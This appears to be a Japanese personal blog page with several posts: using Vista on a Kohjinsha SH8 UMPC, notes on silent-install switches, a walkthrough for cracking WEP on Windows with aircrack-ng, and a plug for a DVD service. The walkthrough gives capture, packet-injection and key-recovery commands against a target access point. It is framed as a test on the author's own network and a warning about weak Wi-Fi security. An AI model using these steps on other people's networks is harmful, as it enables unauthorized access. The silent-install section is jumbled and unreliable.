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さて、暇を見つけてはSH8をいじくってるわけですが、どーにもうまくいかない。
なぜって、OSが「Vista」だから。
これまでのWindowsとはだいぶ違うUIに悪戦苦闘。
設定の場所や名前が変わっていたり、アイコンの意味がわからなかったり、と。
まぁ、この辺は慣れなんで最初は仕方の無いことですがどうにもストレスが溜まる。
さっさとXP化してしまいたいところだが、せっかくのVista。もう少し遊んでみよう。
と、文句を書き連ねてきたが、Vistaも結構悪くない。
エクスプローラーのチェックボックスでファイルを選択できるのや、
アプリケーションごとの音量の設定など、細かい追加機能なんかは結構イイと思う。
ただねぇ、やっぱ重い。そしてサービス関係の依存が複雑?っぽい。
適当にXPのときにとめていたようなサービスを片っ端から止めたらエラー出るし、
止めたと思ったら復活するし。この辺は試行錯誤していくということで。
まだまだ奮闘しそうです。 SP1待ちでもいいかな。
どうしても我慢できずに買った。後悔はしていない。
http://www.kohjinsha.com/models/sh/sh8kp12/index.html
というわけで KOHJINSHA の SH8KP12A を自分へのクリスマスプレゼント。
年内に新機種に期待していたのだがどうも出るような様子はないし、
次期UMPC向けCPUの Silverthone にもあまり期待できないし、
やっぱりほしいと思ったときが買い時!ってことで。
ヨドバシのクリスマス企画で13%還元だったから実質約95000円くらいで購入。
いやー、なんといってもカワイイな。コイツ。
かつ、なかなかのパワー。VISTAもそこそこスムーズに動いてるし。
つねにそばにおいておきたい。そんな感じ。
ただ、なぜかワンセグがほとんど受信できない…。一応地域調べたけど地域内だし。
どうせ大して見ないけど、ついてるなら試してみたいしなぁ。
まぁ、しばらく様子を見るとしましょう。
ニコニコ動画なんかの動画サイトもほとんどコマ落ちなしで見られる。
2chやまとめサイトにもあったようにそこそこパワーを持っているらしいので
かなり期待できる子かも。
これからもっといじくり倒していくさまを書き綴ろうと思う。
あと、やっぱ黒って手油の跡が目立つね。
/SILENT , /VERYSILENTこれではインストールを続行するかどうかを尋ねるダイアログが表示される。
setup.exe /VERYSILENT /SP-セットアップの完了後、そのプログラムを開こうとするものがある。
ECHO. ECHO Installing APPLICATION ECHO Please wait... start /wait APPLICATION.exe /VERYSILENT /SP- ECHO. ECHO Killing APPLICATION process taskkill.exe /F /IM APPLICATION.exe ECHO.
Setup.exe -R通常のセットアップ画面が表示される。
start /wait Setup.exe -s -f1"setup.iss"InstallShield パッケージの確認方法
setup.msi "/qn REBOOT=Suppress"セットアップファイルには /s/v/qn を用いるものもある。
setup.exe /s /v"/qn REBOOT=Suppress"■ Wise Installer
/s
Setup.exe /s
■Windows上で動かす目的
もちろんLinux上で動かすのが一番良いし、安定している。
だけど普段使うのはWindows。Linuxもちょっとかじったけどイマイチ常用には…。
だったらWindowsで動かせれば一番いい。ってことでトライ。
現状の環境を維持したままで行える。
Windows Tutorial
http://www.aircrack-ng.org/doku.php?id=windows-tutorial&rev=1186070726
ここを参照して、やってみた。
■必要なもの
■大体の手順
1.CommView for Wifi のドライバで無線Lanカードをインストール。(net5211.inf)
2.airserv-ng で 各種ツールをWindows上で利用できる状態にする。
airserv-ng [opts]
ex) airserv-ng -d commview.dll -p [port] -c [channel]
[port]、[channel]は任意。
3.NetStumbler でMACやESSIDやらCHを確認する。
4.airodump-ng で IV のキャプチャ開始。
airodump-ng [options] [interface]
ex) airodump-ng 127.0.0.1:[port] -a --bssid [enemymac] -c [ch] -w output
5.aireplay-ng でパケットインジェクション。
associatedされた状態にする。
ex) aireplay-ng.exe 127.0.0.1:[port] -1 60 -q 10 -a [enemymac] -h [yourmac] -e [ESSID]
パケットを送りつける。
ex) aireplay-ng.exe 127.0.0.1:[port] --arpreplay -b [enemymac] -h [yourmac] -e [ESSID]
6.aircrack-ng でIVを解析。DATA を 200,000以上は集める必要があると記述されている。
airodump と aircrack を同時に動作させ、キャプチャしながら解析もできる。
aircrack-ng [options]
ex) aircrack-ng *.cap
7.しばらく待っていると… (゚Д゚)ウマー
ex) は自分用。
http://www.aircrack-ng.org/doku.php#documentation
を参照して自分なりに書き換えるとなお良い。
とはいったものの自分でも良くわかっていないが…。
自分のWEPのキー復元はできた。なんと簡単。5文字だったからすぐだった。
以前WPAに変えたときは接続が不安定になったので結局危険を顧みず
WEPで現状維持。うーん、へんなことされなきゃいいけど。
WPAとかにするとか、とにかくWEP以外のセキュリティを使ったほうが無難かも。
それでもクラックされないという保障は無いけど。
とにかくWEPは以外に簡単にクラックできちゃうってこと。
クラックされると誰かが自分のアクセスポイントを利用して、踏み台にされるかもってこと。
そうすると、たとえばあなたの家から大量のスパムメールが送られたり、不正な接続の中継、はたまた、詐欺行為の隠れ蓑にされかねないわけだ。
なのに、パスワードの設定すらしていない野良APは結構あったりする。
せめて暗号化だけはしておいたほうがいいと思いますよ。
注意喚起的な意味でちょっとだけ書いておくことにする。
オリジナルDVD製作代行サービスの会社。
実は高校時代の友人がシャチョーをやっている。
機会があればぜひ利用してみてくれ。
まぁ、こんなこといっちゃうと元も子も無いんだが。
写真や動画を素材にDVD作るくらい最近のパソコンなら大体できちゃうんだよなぁ。
DVD-Rドライブとちょっとしたソフトがあれば。
でもそうゆうの不得意だったりよくわからない人もいるし、需要はあるのかもね。
お金とれるくらいだし、それなりのこともやってくれるだろうし。
と、ちょっと宣伝って言うよりはアレな感じになっちゃったけど、
もし、自分は使わないけど必要としていそうな人がいたりしたら
こうゆうのやってるところがあるよって教えてあげてくださいな。
個人でやってるから宣伝とかしてないだろうし。
やっぱりこうゆうのって口コミで広がって大きくなっていくもんでしょ。